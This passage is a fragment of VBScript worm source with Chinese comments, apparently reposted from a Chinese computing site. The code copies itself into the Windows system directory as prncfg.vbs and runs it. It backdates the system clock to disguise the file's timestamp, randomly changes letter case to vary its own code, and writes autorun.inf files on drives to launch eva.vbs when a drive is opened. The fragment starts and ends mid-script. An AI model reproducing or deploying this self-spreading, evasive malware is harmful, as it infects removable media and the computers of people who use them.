wscript.sleep 2000
wshshell.appactivate LCase("我的电脑")
wshshell.sendkeys UCase("% c") ' 模拟击键 alt + space + c ,其实就是关闭窗口
runflag=0
' 获得当前系统进程,WMI的应用
For each ps in GetObject _
("winmgmts:\\.\root\cimv2:win32_process").instances_
If lcase(ps.name)=lcase("wscript.exe") Then
runflag=runflag+1
End If
Next
If runflag>=2 Then wscript.quit
Set sf=fso.GetFolder(sysdir)
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1)
wshshell.run "cmd /c Date "&f_time,0
wscript.sleep 100
Call writefile(sysdir&lcase("\prncfg.vbs"),vs(scopy))
wshshell.run "cmd /c Date "&c_time,0
wshshell.run sysdir&"\prncfg.vbs"
End If
' 混乱字符串,进行代码变体!
Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function
' 列出驱动器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"
End Function
' 写autorun.inf文件
Sub writeauto(path)
' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"
' autorun.inf中的启动代码
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-27418-4.html
我们真的倒退100年